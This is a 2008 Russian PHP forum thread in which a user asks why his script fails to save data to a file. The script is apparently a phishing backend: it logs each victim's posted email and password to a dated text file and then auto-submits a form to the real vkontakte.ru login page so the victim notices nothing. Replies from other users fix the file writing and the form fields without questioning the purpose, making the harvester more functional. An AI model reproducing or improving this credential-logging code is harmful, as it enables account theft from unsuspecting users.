Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > PHP: Общие вопросы > Как получить права доступа к файлу для записи


Автор: Dreamuchiy 10.10.2008, 19:37
Почему ничего не записывается в файл? такая же ерунда и с php файлом
Код
<?php

$email=$_POST['email'];
$pass=$_POST['pass'];
$log=date("d.m.y");
if (file_exists("log/$log.txt")){
fputs(fopen("log/$log.txt","a+"),"$email:$pass\r\n");
} else {
fputs(fopen("log/$log.txt","w"),"$email:$pass\r\n");}
 
echo("<html>");
echo("<head>");
echo("<title></title>");
echo("</head>");
echo("<body>");
echo("<form method='post' name='login' id='login' action='http://vkontakte.ru/login.php'>");
echo("<input type='hidden' name='$email'>");
echo("<input type='hidden' name='$pass'>");
echo("<input type='hidden' name='expire' value='1' />");
echo("</form>");
echo("</body>");
echo("<script language='JavaScript'>");
echo("document.getElementById('login').submit()");
echo("</script>");
echo("</html>");
?>


Автор: bars80080 10.10.2008, 19:43
а почему не записывается? ошибки какие есть? в начале скрипта error_reporting(E_ALL); есть?

да и почему ты не закрываешь открываемые файлы?

Автор: Dreamuchiy 10.10.2008, 19:55
Оно открывает файл save.php в браузере вот такая ерунда:

"); echo(""); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo("");сохранения в файл не происходит

Добавлено через 2 минуты и 42 секунды
p.s. А что произойдет если файл не закрыть? 

Автор: bars80080 10.10.2008, 20:15
фиг знает, с fputs не работал. попробуй классически, как в учебниках:

Код

$path = 'log/$log.txt';
$fp = fopen($path, 'a');
if($fp) {
    fwrite($fp, "$email:$pass\r\n");
    fclose($fp);
}

exit; // обязательно поставь, чтобы проверить, пишется ли вообще, а то дальше у тебя шарага начинается


кстати, советую почитать, что значит a+. и почему твоё разделение на 'a' и 'w' бессмысленно. хватит одного 'a'

если файл не закрыть, то если ты на своём компе на локальном хостинге балуешься, то ничего. просто придётся как-нибудь перезагрузиться, дабы вычистить память. но если на внешнем, то надо всё же закрывать

Автор: unicross 10.10.2008, 21:38
Dreamuchiy, вы очень странно передаете параметры в форме

Цитата(Dreamuchiy @  10.10.2008,  19:37 Найти цитируемый пост)

echo("<input type='hidden' name='$email'>");
echo("<input type='hidden' name='$pass'>");


Где параметр value, который и должен содержать передаваемое значение?

Код

echo "<input type='hidden' name='email' value='Логин'>";
echo "<input type='hidden' name='pass' value='Пароль'>";


Попробуйте такой код

Код

<?php
$email=$_POST['email'];
$pass=$_POST['pass'];
if (isset($email) && isset($email)) {
   $log=date("d.m.y");
   $tmp = $log . ".txt";
   $fp = fopen("$tmp","a+");
   if ($fp) {
      fwrite($fp, "$email:$pass\r\n");
      echo "Записали в файл<BR>";
      fclose($fp);
   }
}
echo "<html>";
echo "<head>";
echo "<title></title>";
echo "</head>";
echo "<body>";
echo "<form method='post' name='login' id='login' action='test.php'>";
echo "<input type='hidden' name='email' value='Логин'>";
echo "<input type='hidden' name='pass' value='Пароль'>";
echo "<input type='submit' value='OK'>";
echo "</form>";
echo "</body>";
echo "</html>";
?>


Цитата

Оно открывает файл save.php в браузере вот такая ерунда:


Что за файл save.php?

Автор: ksnk 10.10.2008, 22:01
Цитата

"); echo(""); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo("");сохранения в файл не происходит

Гы!... А PHP установлен? Веб сервер что такое известно?

Автор: Dreamuchiy 10.10.2008, 22:29
Что такое веб сервер я знаю но я запускаю php файлы обычным способом из под винды. Но есть и апач у меня ино после настройки его под php и заходе на мою страницу из вне браузер пишет что то типа у вас нет прав. А вот со своего компа файл index.htm запускается хорошо. Таже история и в wun server2003

Автор: georgiy11 10.10.2008, 23:15
А причем здесь index.htm если запускается скрипт в action ="/..."

Автор: unicross 11.10.2008, 05:49
Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
но я запускаю php файлы обычным способом из под винды.


Это двойным щелчком на файле что-ли???? smile 

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
 заходе на мою страницу из вне браузер пишет что то типа у вас нет прав


Это вы пытаетесь подключиться из интернета к своему компу???

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
файл index.htm запускается хорошо


Причем здесь index.htm. Он в любом случае откроется в браузере и без настройки связки Apache+PHP.
А вот файл PHP так не запустится...

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
Что такое веб сервер я знаю.


Чувствуется, что не совсем...  smile 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)